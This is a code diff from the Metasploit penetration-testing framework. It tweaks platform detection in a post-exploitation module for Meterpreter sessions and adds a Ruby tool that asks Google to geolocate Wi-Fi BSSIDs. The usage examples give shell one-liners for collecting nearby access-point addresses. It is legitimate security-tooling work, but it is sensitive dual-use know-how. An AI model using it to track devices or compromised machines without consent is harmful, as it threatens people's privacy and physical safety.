@ -125,9 +114,9 @@ class Metasploit3 < Msf::Post
else else
# For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform
platform = session.sys.config.sysinfo['OS'] platform = session.sys.config.sysinfo['OS']
platform = 'osx' if platform =~ /darwin/i
end end
case platform case platform
when /win/i when /win/i
@ -214,10 +203,10 @@ class Metasploit3 < Msf::Post
return nil return nil
end end
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
rescue ::Exception => e rescue ::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}") print_status("The following Error was encountered: #{e.class} #{e}")
end end
end end

31
tools/google_geolocate_bssid.rb Executable file
View File

@ -0,0 +1,31 @@
#!/usr/bin/env ruby
#
# This tool asks Google for the location of a given set of BSSIDs
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'rex/google/geolocation'
require 'optparse'
if ARGV.empty?
$stderr.puts("Usage: #{$PROGRAM_NAME} <mac> [mac] ...")
$stderr.puts("Ask Google for the location of the given set of BSSIDs")
$stderr.puts
$stderr.puts("Example: iwlist sc 2>/dev/null|awk '/Address/{print $5}'|xargs #{$PROGRAM_NAME}")
$stderr.puts("Example: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I|awk '/BSSID/{print $2}'|xargs #{$PROGRAM_NAME}")
exit(1)
end
g = Rex::Google::Geolocation.new
ARGV.each do |mac|
g.add_wlan(mac, nil, -83)
end
g.fetch!
puts g, g.google_maps_url